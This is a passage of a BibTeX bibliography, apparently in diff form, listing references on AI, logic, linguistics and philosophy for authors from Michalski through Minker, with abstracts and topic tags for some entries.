H. Winston}, + title = {Variable Precision Logic}, + journal = {Artificial Intelligence}, + year = {1986}, + volume = {29}, + number = {2}, + pages = {121--146}, + acontentnote = {Abstract: + Variable precision logic is concerned with problems of reasoning + with incomplete information and resource constraints. It offers + mechanisms for handling trade-offs between the precision of + inferences and the computational efficiency of deriving them. + Two aspects of precision are the specificity of conclusions and + the certainty of belief in them; we address primarily certainty + and employ censored production rules as an underlying + representational and computational mechanism. These censored + production rules are created by augmenting ordinary production + rules with an exception condition and are written in the form + ``if A then B unless C'', where C is the exception condition. + From a control viewpoint censored production rules are intended + for situations in which the implication A [=>] B holds + frequently and the assertion C holds rarely. Systems using + censored production rules are free to ignore the exception + conditions when resources are tight. Given more time, the + exception conditions are examined, lending credibility to + high-speed answers or changing them. Such logical systems, + therefore, exhibit variable certainty of conclusions, reflecting + variable investment of computational resources in conducting + reasoning. From a logical viewpoint, the unless operator between + B and C acts as the exclusive-or operator. From an expository + viewpoint, the ``if A then B'' part of censored production rule + expresses important information (e.g., a causal relationship) + while the ``unless C'' part acts only as a switch that changes + the polarity of B to ¬B when C holds. + Expositive properties are captured quantitatively by augmenting + censored rules with two parameters that indicate the certainty + of the implication ``if A then B''. Parameter [delta] is the + certainty when the truth value of C is unknown, and [gamma] is + the certainty when C is known to be false. } , + topic = {reasoning-about-uncertainty;resource-limited-reasoning;} + } + +@incollection{ michaux:1991a, + author = {Christine Michaux}, + title = {Discussion of Dataflow in {M}ontagovian + Semantics and Formal and Cognitive Semantics}, + booktitle = {Working Papers in Computational Semantics, Dialogue and + Discourse}, + publisher = {Department of Mathematics, University of Oslo}, + year = {1991}, + editor = {Harold L. Somers}, + pages = {121--123}, + address = {P.O. Box 1053-Blindern, 0316 Oslo 3, Norway}, + topic = {Montague-grammar;foundations-of-semantics;} + } + +@inproceedings{ michel:1989a, + author = {R. Michel}, + title = {A Categorical Approach to Distributed Systems}, + booktitle = {Proceedings of the Eighth {ACM} Symposium on + Principles of Distributed Computing}, + year = {1989}, + pages = {129--143}, + missinginfo = {editor, publisher, A's 1st name}, + topic = {distributed-systems;} + } + +@phdthesis{ michel:1989b, + author = {R. Michel}, + title = {Knowledge in Distributed {B}yzantine Environments}, + school = {Yale Univeristy}, + year = {1989}, + type = {Ph.{D}. Dissertation}, + address = {New Haven, Connecticut}, + missinginfo = {A's 1st name}, + topic = {epistemic-logic;distributed-systems;Byzantine-agreement;} + } + +@book{ michie:1968a, + editor = {Donald Michie}, + title = {Machine Intelligence 3}, + publisher = {Edinburgh}, + year = {1968}, + address = {Edinburgh}, + ISBN = {085224004X}, + topic = {AI-survey;} + } + +@book{ michie:1974a, + author = {Donald Michie}, + title = {On Machine Intelligence}, + publisher = {John Wiley and Sons}, + year = {1974}, + address = {New York}, + ISBN = {085224262X}, + topic = {philosophy-AI;philosophy-of-AI;} + } + +@book{ michie:1979a, + editor = {Donald Michie}, + title = {Expert Systems in The Micro-Electronic Age}, + publisher = {Edinburgh University Press}, + year = {1979}, + address = {Edinburgh}, + ISBN = {0852243812 (pbk.)}, + topic = {expert-systems;} + } + +@book{ michie:1982a, + editor = {Donald Michie}, + title = {Introductory Readings in Expert Systems}, + publisher = {Gordon and Breach}, + year = {1982}, + address = {New York}, + ISBN = {0677163509}, + topic = {expert-systems;} + } + +@book{ michie-johnston:1984a, + author = {Donald Michie and Rory Johnston}, + title = {The Creative Computer: Machine Intelligence and Human + Knowledge}, + publisher = {Harmondsworth}, + year = {1984}, + address = {Middlesex, England}, + ISBN = {0670800600}, + topic = {creativity;philosophy-AI;} + } + +@book{ michie-johnston:1985a, + author = {Donald Michie and Rory Johnston}, + title = {The Knowledge Machine: Artificial Intelligence and the Future + of Man}, + publisher = {W. Morrow}, + year = {1985}, + address = {New York}, + ISBN = {0688032672}, + topic = {AI-survey;induction;AI-popular;} + } + +@incollection{ michie:1988a, + author = {Donald Michie}, + title = {The Fifth Generation's Unbridged Gap}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {467--489}, + address = {Oxford}, + topic = {foundations-of-software-engineering;} + } + +@unpublished{ michon:1986a, + author = {John Michon}, + title = {Timing Your Mind and Minding Your Time}, + year = {1986}, + note = {Unpublished manuscript, Institute for Experimental + Psychology, Groningen, The Netherlands. Presidential + address, Sixth Conference for the International Society + for the Study of Time.}, + topic = {cognitive-psychology;temporal-reasoning;} + } + +@article{ mignucci:1993a, + author = {Mario Mignucci}, + title = {The {S}toic Analysis of the Sorites}, + journal = {Proceedings of the {A}ristotelian Society}, + year = {1993}, + volume = {93}, + note = {Supplementary Series.}, + pages = {231--245}, + topic = {vagueness;sorites-paradox;Stoic-philosophy;} + } + +@incollection{ mihalcea-moldovan:1998a, + author = {Rada Mihalcea and Dan I. Moldovan}, + title = {Word Sense Disambiguation Based on Semantic Density}, + booktitle = {Use of {W}ord{N}et in Natural Language Processing + Systems: Proceedings of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Sanda Harabagiu}, + pages = {16--22}, + address = {Somerset, New Jersey}, + url = { + http://www.ai.sri.com/\user{}harabagi/coling-acl98/acl_work/moldovan.ps.gz}, + topic = {nl-processing;WordNet;lexical-disambiguation;} + } + +@incollection{ mikeladze:1994a, + author = {Z.N. Mikeladze}, + title = {Intensional Principles in Aristotle}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {22--25}, + address = {Helsinki}, + topic = {Aristotle;intensionality;} + } + +@inproceedings{ mikheev:1996a, + author = {Andrei Mikheev}, + title = {Unsupervised Learning of Word-Category Guessing Rules}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {327--333}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {part-of-speech-tagging;statistical-nlp;} + } + +@article{ mikheev:1997a, + author = {Andrei Mikheev}, + title = {Automatic Rule Induction for Unknown-Word Guessing}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {3}, + pages = {405--423}, + topic = {machine-learning;computational-lexicography;corpus-linguistics;} + } + +@article{ mikheev:2002a, + author = {Andrei Mikheev}, + title = {Periods, Capitalized Words, Etc.}, + journal = {Computational Linguistics}, + year = {2002}, + volume = {28}, + number = {3}, + pages = {289--318}, + topic = {sentence-boundary-detection;part-of-speech-tagging;} + } + +@inproceedings{ mikitiuk-truszczcynski:1995a, + author = {Artur Mikitiuk and Moroslaw Truszczy\'nski}, + title = {Constrained and Rational Default Logics}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1509--1515}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {default-logic;} + } + +@incollection{ mikitiuk:1996a, + author = {Artur Mikitiuk}, + title = {Semi-Representability of Default Theories + in Rational Default Logic}, + booktitle = {Logics in Artificial Intelligence: European Workshop, + {Jelia}'96, Ivora, Portugal, September 30 - October 3, + 1996.}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira and Ewa Orlowska}, + pages = {192--207}, + address = {Berlin}, + topic = {default-logic;} + } + +@inproceedings{ mikler-etal:1996a, + author = {Armin R. Mikler and Vasant Honavar and Johnny S.K. Wong}, + title = {Analysis of Utility-Theoretic Heuristics for Intelligent + Adaptive Network Routing}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {96--101}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {utility;decision-analysis;network-routing;} + } + +@incollection{ mikulas:1996a, + author = {Szabolcs Mikul\'as}, + title = {Complete Calculus for Conjugated Arrow Logic}, + booktitle = {Arrow Logic and Multimodal Logic}, + publisher = {{CLSI} Publications}, + year = {1996}, + editor = {Maarten Marx and L\'azl\'o P\'olos and Michael Masuch}, + pages = {125--139}, + address = {Stanford, California}, + topic = {arrow-logic;} + } + +@article{ milenkovic:1988a, + author = {Victor J. Milenkovic}, + title = {Verifiable Implementations of Geometric Algorithms Using + Finite Precision Arithmetic}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {37}, + number = {1--3}, + pages = {377--401}, + acontentnote = {Abstract: + Two methods are proposed for correct and verifiable geometric + reasoning using finite precision arithmetic. The first method, + data normalization, transforms the geometric structure into a + configuration for which all finite precision calculations yield + correct answers. The second method, called the hidden variable + method, constructs configurations that belong to objects in an + infinite precision domain -- without actually representing these + infinite precision objects. Data normalization is applied to the + problem of modeling polygonal regions in the plane, and the + hidden variable method is used to calculate arrangements of + lines. } , + topic = {geometrical-reasoning;} + } + +@article{ milgrom:1981a, + author = {P. Milgrom}, + title = {An Axiomatic Characterization of Common Knowledge}, + journal = {Econometrica}, + year = {1981}, + volume = {49}, + number = {1}, + pages = {219--222}, + missinginfo = {A's 1st name}, + topic = {mutual-belief;} + } + +@article{ milgrom-stokey:1982a, + author = {P. Milgrom and N. Stokey}, + title = {Information, Trade, and Common Knowledge}, + journal = {Journal of Economic Theory}, + year = {1982}, + volume = {26}, + pages = {17--27}, + missinginfo = {A's 1st name, number}, + topic = {mutual-belief;bargaining-theory;} + } + +@incollection{ mili-rada:1992a, + author = {Hafedh Mili and Roy Rada}, + title = {A Model of Hierarchies Based on Graph Homomorphisms}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {343--361}, + address = {Oxford}, + topic = {kr;semantic-networks;inheritance;} + } + +@unpublished{ miller_cs-etal:1997a, + author = {Craig S. Miller and Jill Fain Lehman and Kenneth R. Koerdinger}, + title = {Goal-Directed Learning in Microworld Interaction}, + year = {1997}, + note = {Unpublished manuscript, Computer Science Department, + Carnegie Mellon University.}, + topic = {machine-learning;intelligent-tutoring;} + } + +@article{ miller_d:1989a, + author = {Dale Miller}, + title = {A Logical Analysis of Modules in Logic Programming}, + journal = {Journal of Logic Programming}, + volume = {6}, + number = {1--2}, + pages = {79--108}, + year = {1989}, + topic = {logic-programming;} + } + +@article{ miller_d-etal:1991a, + author = {Dale Miller and Gopalan Nadathur and Frank Pfenning + and Andre Scedrov}, + title = {Uniform Proofs as a Foundation for Logic Programming}, + journal = {Annals of Pure and Applied Logic}, + volume = {51}, + pages = {125--157}, + year = {1991}, + topic = {logic-programming;} + } + +@incollection{ miller_d:1997a, + author = {Dale Miller}, + title = {Linear Logic as Logic Programming: an Abstract}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {63--67}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;linear-logic;} + } + +@book{ miller_dw-starr:1967a, + author = {David W. Miller and Martin K. Starr}, + title = {The Structure of Human Decisions}, + publisher = {Prentics-Hall}, + year = {1967}, + address = {Englewood Cliffs, New Jersey}, + topic = {decision-theory;decision-analysis;} + } + +@book{ miller_g-dingwall:1997a, + editor = {Gale Miller and Robert Dingwall}, + title = {Context and Methods in Qualitative Research}, + publisher = {Sage Publications}, + year = {1997}, + address = {Thousand Oaks, California}, + topic = {qualitative-methods;} + } + +@book{ miller_ga:1967a, + author = {George A. Miller}, + title = {The Psychology of Communication: Seven Essays}, + publisher = {New York, Basic Books}, + year = {1967}, + address = {New York}, + topic = {psycholinguistics;} + } + +@incollection{ miller_ga:1967a2, + author = {George A. Miller}, + title = {Empirical Methods in the Study of Semantics}, + booktitle = {Semantics: An Interdisciplinary Reader in Philosophy, + Linguistics, and Psychology}, + publisher = {Cambridge University Press}, + year = {1971}, + editor = {Danny D. Steinberg and Leon A. Jacobovits}, + pages = {569--585}, + address = {Cambridge, England}, + xref = {Republication of: miller_ga:1967a1.}, + topic = {psycholinguistics;foundations-of-semantics; + lexical-semantics;linguistics-methodology;} + } + +@incollection{ miller_ga:1967b, + author = {George A. Miller}, + title = {Empirical Methods in the Study of Semantics}, + booktitle = {Journeys in Science: Small Steps---Great Strides}, + publisher = {University of New Mexico Press}, + year = {1967}, + editor = {D.L. Arm}, + pages = {51--73}, + address = {Albuquerque}, + topic = {psycholinguistics;foundations-of-semantics; + lexical-semantics;linguistics-methodology;} + } + +@book{ miller_ga:1973a, + author = {George A. Miller}, + title = {Communication, Language, and Meaning: Psychological + Perspectives}, + publisher = {Basic Books}, + year = {1973}, + address = {New York}, + ISBN = {0465012833}, + topic = {linguistics-intro;} + } + +@book{ miller_ga-buckhout:1973a, + author = {George A. Miller and Robert Buckhout}, + title = {Psychology: The Science Of Mental Life}, + edition = {2}, + publisher = {Harper and Row}, + year = {1973}, + address = {New York}, + ISBN = {0060444789}, + topic = {cognitive-psychology;} + } + +@book{ miller_ga-johnsonlaird:1976a, + author = {George A. Miller and Philip N. Johnson-Laird}, + title = {Language and Perception}, + publisher = {Harvard University Press}, + year = {1976}, + address = {Cambridge, Massachusetts}, + ISBN = {0521212421}, + topic = {psycholinguistics;} + } + +@book{ miller_ga:1977a, + author = {George A. Miller}, + title = {Spontaneous Apprentices: Children and Language}, + publisher = {Seabury Press}, + year = {1977}, + address = {New York}, + ISBN = {0816493308}, + topic = {psycholinguistics;L1-language-learning;} + } + +@book{ miller_ga:1981a, + author = {George A. Miller}, + title = {Language and Speech}, + publisher = {W.H. Freeman}, + year = {1981}, + address = {San Francisco}, + ISBN = {0716712970}, + topic = {psycholinguistics;} + } + +@unpublished{ miller_ga:1986a, + author = {George A. Miller}, + title = {How School Children Learn Words}, + year = {1986}, + note = {Unpublished manuscript, Princeton University.}, + missinginfo = {Year is a guess.}, + topic = {lexical-semantics;L1-acquisition;} + } + +@techreport{ miller_ga-etal:1990a, + author = {George A. Miller and Richard Beckwith and Christiane + Fellbaum and Derek Gross and Katherine Miller}, + title = {Five papers on {\sc Word{N}et}}, + institution = {Cognitive Science Laboratory, Princeton University}, + year = {1990}, + number = {CSL 43}, + contentnote = {TC: + 1. George A. Miller, Richard Beckwith, Christiane + Fellbaum, Derek Gross, and Katherine Miller, + "Introduction to WordNet: An On-Line Lexical + Database" + 2. George A. Miller, "Nouns in WordNet: A Lexical Inheritance System" + 3. Derek Gross and Katherine Miller, Adjectives in WordNet" + 4. Christiane Fellbaum, "English Verbs as a Semantic Net" + 5. Richard Beckworth and George Miller, "Implementing a + Lexical Network" + } , + xref = {Also published in special issue of the {\it International + Journal of Lexicography}, volume 3, number 4.}, + topic = {wordnet;} + } + +@book{ miller_ga:1991a, + author = {George A. Miller}, + title = {The Science of Words}, + publisher = {W.H. Freeman and Co.}, + year = {1991}, + address = {New York}, + ISBN = {0716750279}, + topic = {linguistics-intro;} + } + +@incollection{ miller_ga-fellbaum:1992a, + author = {George A. Miller and Christiane Fellbaum}, + title = {Semantic Networks of {E}nglish}, + booktitle = {Lexical and Conceptual Semantics}, + year = {1992}, + editor = {Beth Levin and Steven Pinker}, + publisher = {Blackwell Publishers}, + pages = {197--229}, + address = {Oxford}, + topic = {lexical-semantics;wordnet;} + } + +@incollection{ miller_ga:1996a, + author = {George A. Miller}, + title = {Meaning Matters: Problems in Sense Resolution}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {119--140}, + topic = {ambiguity;lexical-semantics;} + } + +@incollection{ miller_jl:1990a, + author = {Joanne L. Miller}, + title = {Speech Perception}, + booktitle = {Language: An Invitation to Cognitive Science, + Vol. 1.}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {69--93}, + address = {Cambridge, Massachusetts}, + topic = {psycholinguistics;speech-recognition;} + } + +@unpublished{ miller_m-etal:1996a, + author = {Michael Miller and Donald Perlis and Khemdut Parang}, + title = {Defaults Denied}, + year = {1996}, + note = {Unpublished manuscript, Department of Computer Science, + University of Maryland.}, + missinginfo = {Date is a guess.}, + topic = {default-reasoning;} + } + +@unpublished{ miller_m-perlis:1996a, + author = {Michael Miller and Donald Perlis}, + title = {Presentations and This and That: Logic in Action}, + year = {1996}, + note = {Unpublished manuscript, University of Maryland.}, + topic = {reference;} + } + +@article{ miller_p-pullum:2001a, + author = {Philip Miller and Geoffrey K. Pullum}, + title = {Review of {\it A Descriptive Approach to + Language-Theoretic Complexity}, by {J}ames {R}ogers}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {2}, + pages = {304--308}, + xref = {Review of: rogers_j:1998a.}, + topic = {mathematical-linguistics;complexity-theory; + foundations-of-syntax;} + } + +@article{ miller_ph:1991a, + author = {Philip H. Miller}, + title = {Scandanavian Extraction Phenomena Revisited: Weak + and Strong Generative Capacity}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + pages = {101--113}, + number = {1}, + topic = {Scandanavian-languages;context-free-grammars; + generative-capacity;} + } + +@book{ miller_pl:1986a, + author = {Perry L. Miller}, + title = {Expert Critiquing Systems: Practice-Based Medical Consultation + by Computer}, + publisher = {Springer-Verlag}, + year = {1986}, + address = {Berlin}, + ISBN = {0387962913}, + xref = {Review: wellman:1988a.}, + topic = {medical-AI;} +} + +@book{ miller_pl:1988a, + editor = {Perry L. Miller}, + title = {Selected Topics in Medical Artificial Intelligence}, + publisher = {Springer-Verlag}, + year = {1988}, + address = {Berlin}, + ISBN = {038796701X}, + topic = {medical-AI;} +} + +@incollection{ miller_r1-shanahan:1996a, + author = {Rob Miller and Murray Shanahan}, + title = {Reasoning about Discontinuities in the Event Calculus}, + booktitle = {{KR}'96: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {63--74}, + address = {San Francisco, California}, + topic = {kr;dynamic-systems;action-formalisms;kr-course;cognitive-robotics;} + } + +@book{ miller_r2-stout:1996a, + author = {Russ Miller and Quentin F. Stout}, + title = {Parallel Algorithms for Regular Architectures}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {parallel-processing;} + } + +@incollection{ miller_rm:2000a, + author = {Richard W. Miller}, + title = {Half-Naturalized Social Kinds}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S640--}, + address = {Newark, Delaware}, + topic = {natural-kinds;philosophy-of-social-science;racial-stereotypes;} + } + +@inproceedings{ miller_s1-etal:1996a, + author = {Scott Miller and David Stallard and Robert Bobrow and + Richard Schwartz}, + title = {A Fully Statistical Approach to Natural Language Interfaces}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {55--61}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {statistical-nlp;nl-interfaces;} + } + +@article{ miller_s2:1990a, + author = {Seumas Miller}, + title = {Rationalizing Conventions}, + journal = {Synth\'ese}, + year = {1990}, + volume = {84}, + number = {1}, + pages = {23--41}, + topic = {convention;rationality;} + } + +@article{ miller_y-fabiani:2001a, + author = {Yannick Miller and Patrick Fabiani}, + title = {{TOKENPLAN}: A Planner for Both Satisfaction and + Optimization Problems}, + journal = {The {AI} Magazine}, + year = {2001}, + volume = {22}, + number = {1}, + pages = {85--87}, + topic = {planning;planning-algorithms;planning-systems;} + } + +@article{ millgram:2000a, + author = {Elijah Millgram}, + title = {Coherence: The Price of the Ticket}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {2}, + pages = {82--93}, + topic = {coherence;} + } + +@book{ milligan:1980a, + author = {David Milligan}, + title = {Reasoning and the Explanation of Actions}, + publisher = {Harvester Press}, + year = {1980}, + address = {Atlantic Highlands, New Jersey}, + topic = {philosophy-of-action;} + } + +@article{ millikan:1986a1, + author = {Ruth Garrett Millikan}, + title = {Thoughts without Laws}, + journal = {The Philosophical Review}, + year = {1986}, + volume = {95}, + number = {1}, + pages = {47--80}, + xref = {Republication: millikan:1986a2.}, + topic = {philosophy-of-cogsci;philosophy-of-mind; + foundations-of-cognitive-science;} + } + +@incollection{ millikan:1986a2, + author = {Ruth Garrett Millikan}, + title = {Thoughts without Laws}, + booktitle = {White Queen Psychology and Other Essays for {A}lice}, + publisher = {The {MIT} Press}, + year = {1993}, + editor = {Ruth Garrett Millikan}, + pages = {51--82}, + address = {Cambridge, Massachusetts}, + xref = {Republication of: millikan:1986a1.}, + topic = {philosophy-of-cogsci;philosophy-of-mind; + foundations-of-cognitive-science;} + } + +@article{ millikan:1989a1, + author = {Ruth Garrett Millikan}, + title = {In Defense of Proper Functions}, + journal = {Philosophy of Science}, + year = {1989}, + volume = {56}, + number = {2}, + pages = {288--302}, + xref = {Republication: millikan:1989a2.}, + topic = {teleology;philosophy-of-biology;} + } + +@incollection{ millikan:1989a2, + author = {Ruth Garrett Millikan}, + title = {In Defense of Proper Functions}, + booktitle = {White Queen Psychology and Other Essays for {A}lice}, + publisher = {The {MIT} Press}, + year = {1993}, + editor = {Ruth Garrett Millikan}, + pages = {13--29}, + address = {Cambridge, Massachusetts}, + xref = {Republication of: millikan:1989a1.}, + topic = {teleology;philosophy-of-biology;} + } + +@book{ millikan:1993a, + author = {Ruth Garrett Millikan}, + title = {White Queen Psychology and Other Essays for {A}lice}, + publisher = {The {MIT} Press}, + year = {1993}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-13288-5}, + contentnote = {TC: + 1. Ruth Garrett Millikan, "In Defense of Proper Functions", pp. 13--29 + 2. Ruth Garrett Millikan, "Propensities, Exaptations, and + the Brain", pp. 31--50 + 3. Ruth Garrett Millikan, "Thoughts without Laws", pp. 51--82 + 4. Ruth Garrett Millikan, "Biosemantics", pp. 83--101 + 5. Ruth Garrett Millikan, "On Mentalese Orthography", pp. 103--121 + 6. Ruth Garrett Millikan, "Compare and Contrast {D}retske, + {F}odor, and {M}illikan on Teleosemantics", pp. 123--133 + 7. Ruth Garrett Millikan, "What is Behavior? A Philosophical + Essay on Ethology and Individualism in + Psychology", pp. 135--150 + 8. Ruth Garrett Millikan, "The Green Grass Growing All Around: + Essay on Ethology and in Ethology, Part 2", pp. 151--170 + 9. Ruth Garrett Millikan, "Explanation in Psychology", pp. 171--192 + 10. Ruth Garrett Millikan, "Metaphysical Antirealism", pp. 193--210 + 11. Ruth Garrett Millikan, "Truth Rules, Hoverflies, and the + {K}ripke-{W}ittgenstein Paradox", pp. 211-239 + 12. Ruth Garrett Millikan, "Naturalist Reflections on + Knowledge", pp. 241--264 + 13. Ruth Garrett Millikan, "The Myth of the Essential + Indexical", pp. 265--277 + 14. Ruth Garrett Millikan, "White Queen Psychology: Or, the + Last Myth of the Given", pp. 279--363 + } , + topic = {philosophy-of-language;philosophy-of-psychology;} + } + +@article{ millikan:1993b, + author = {Ruth Garrett Millikan}, + title = {What {P}eter Thinks When He Hears {M}ary Speak}, + journal = {Behavioral and Brain Sciences}, + year = {1993}, + volume = {10}, + pages = {725--726}, + missinginfo = {number}, + topic = {speaker-meaning;implicature;} + } + +@incollection{ millikan:1993c, + author = {Ruth Garrett Millikan}, + title = {Explanation in Biopsychology}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {211--232}, + address = {Oxford}, + topic = {philosophy-of-psychology;philosophy-of-biology;} + } + +@incollection{ millikan:1994a, + author = {Ruth Garrett Millikan}, + title = {On Unclear and Indistinct Ideas}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {75--100}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {concept-grasping;individual-attitudes;intentionality; + Russell;philosophy-of-mind;} + } + +@article{ millikan:1998a, + author = {Ruth Garrett Millikan}, + title = {Language Conventions Made Simple}, + journal = {The Journal of Philosophy}, + year = {1998}, + volume = {95}, + number = {4}, + pages = {161--180}, + topic = {convention;} + } + +@incollection{ millikan:1998b, + author = {Ruth Garrett Millikan}, + title = {Proper Function and Convention in Speech Acts}, + booktitle = {The Philosophy of {P}.{F}. {S}trawson}, + publisher = {Open Court}, + year = {1998}, + editor = {Lewis E. Hahn}, + address = {Chicago}, + missinginfo = {pages}, + topic = {speech-acts;convention;} + } + +@article{ millikan:1999a, + author = {Ruth Garrett Millikan}, + title = {Wings, Spoons, Pills, and Quills: + A Pluralist Theory of Function}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {4}, + pages = {191--206}, + topic = {function;} + } + +@book{ millikan:2000a, + author = {Ruth Garrett Millikan}, + title = {On Clear and Confused Ideas: An Essay about SUbstance + Concepts}, + publisher = {Cambridge University Press}, + year = {2000}, + address = {Cambridge, England}, + xref = {Review: cummins_r-etal:2002a.}, + topic = {metaphysics;individuation;} + } + +@article{ mills_e:2002a, + author = {Eugene Mills}, + title = {Fallibility and the Phenomenal Sorites}, + journal = {No\^us}, + year = {2002}, + volume = {36}, + number = {3}, + pages = {384--407}, + topic = {vagueness;sorites-paradox;} + } + +@article{ milne:1993a, + author = {Peter Milne}, + title = {The Foundations of Probability and Quantum Mechanics}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {2}, + pages = {129--168}, + topic = {foundations-of-probability;quantum-mechanics;} + } + +@book{ milner:1980a, + author = {Robin Milner}, + title = {A Calculus of Communicating Systems}, + publisher = {Springer-Verlag}, + year = {1980}, + number = {92}, + series = {Lecture Notes in Computer Science}, + address = {Berlin}, + topic = {distributed-systems;concurrent-actions; + concurrence;theory-of-computation;} + } + +@book{ milner:1989a, + author = {Robin Milner}, + title = {Communication and Concurrency}, + publisher = {Prentice Hall}, + year = {1989}, + address = {New York}, + topic = {distributed-systems;concurrent-actions; + concurrence;theory-of-computation;} + } + +@incollection{ milner:1993a, + author = {Robin Milner}, + title = {The Polyadic $\pi$-Calculus: A Tutorial}, + booktitle = {Logic and Algebra of Specification}, + publisher = {Springer-Verlag}, + year = {1993}, + editor = {F.L Bauer and W. Brauer and H. Schwichtenberg}, + pages = {203--246}, + address = {Berlin}, + topic = {polyadic-pi-calculus;} + } + +@book{ milner:1999a, + author = {Robin Milner}, + title = {Communicating and Mobile Systems: The $\pi$ Calculus}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {0 521 65869 (pbk)}, + topic = {distributed-systems;concurrent-actions; + concurrence;theory-of-computation;} + } + +@book{ milsark:1976a, + author = {Gary Milsark}, + title = {Existential Sentences in {E}nglish}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {indefiniteness;existential-constructions;} + } + +@article{ miltsakaki:2002a, + author = {Eleni Miltsakaki}, + title = {Toward an Aposynthesis of Topic Continuity and + Intrasentential Anaphora}, + journal = {Computational Linguistics}, + year = {2002}, + volume = {28}, + number = {3}, + pages = {319--355}, + topic = {anaphora-resolution;sentence-focus;corpus-linguistics;} + } + +@article{ milward:1994a, + author = {David Milward}, + title = {Dynamic Dependency Grammar}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {6}, + pages = {561--605}, + topic = {dependency-grammar;dynamic-logic;} + } + +@incollection{ minelli-polemarchis:1996a, + author = {E. Minelli and H.M. Polemarchis}, + title = {Knowledge at Equilibrium}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {211--228}, + address = {San Francisco}, + missinginfo = {A's 1st name.}, + topic = {game-theory;Nash-equilibria;mutual-belief;rational-action;} + } + +@incollection{ mineur-buitelaar:1996a, + author = {Anne-Marie Mineur and Paul Buitelaar}, + title = {A Compositional Treatment of + Polysemous Arguments in Categorial Grammar}, + booktitle = {Semantic Ambiguity and Underspecification}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + editor = {Kees {van Deemter} and Stanley Peters}, + pages = {125--143}, + topic = {categorial-grammar;polysemy;lexical-semantics;} + } + +@article{ minicozzi-reiter:1972a, + author = {Eliana Minicozzi and Raymond Reiter}, + title = {A note on Linear Resolution Strategies in + Consequence-Finding}, + journal = {Artificial Intelligence}, + year = {1972}, + volume = {3}, + number = {1--3}, + pages = {175--180}, + topic = {theorem-proving;resolution;} + } + +@incollection{ minker:2000b, + author = {Jack Minker}, + title = {Introduction To Logic-Based Artificial + Intelligence}, + booktitle = {Logic-Based Artificial Intelligence}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Jack Minker}, + pages = {3--33 } , + address = {Dordrecht}, + topic = {logic-in-AI;} + } + +@article{ minker_j-etal:1973a, + author = {Jack Minker and Daniel H. Fishman and James R. McSkimin}, + title = {The {Q}* Algorithm---A Search Strategy for a Deductive + Question-Answering System}, + journal = {Artificial Intelligence}, + year = {1973}, + volume = {4}, + number = {3--4}, + pages = {225--243}, + topic = {theorem-proving;question-answering;} + } + +@inproceedings{ 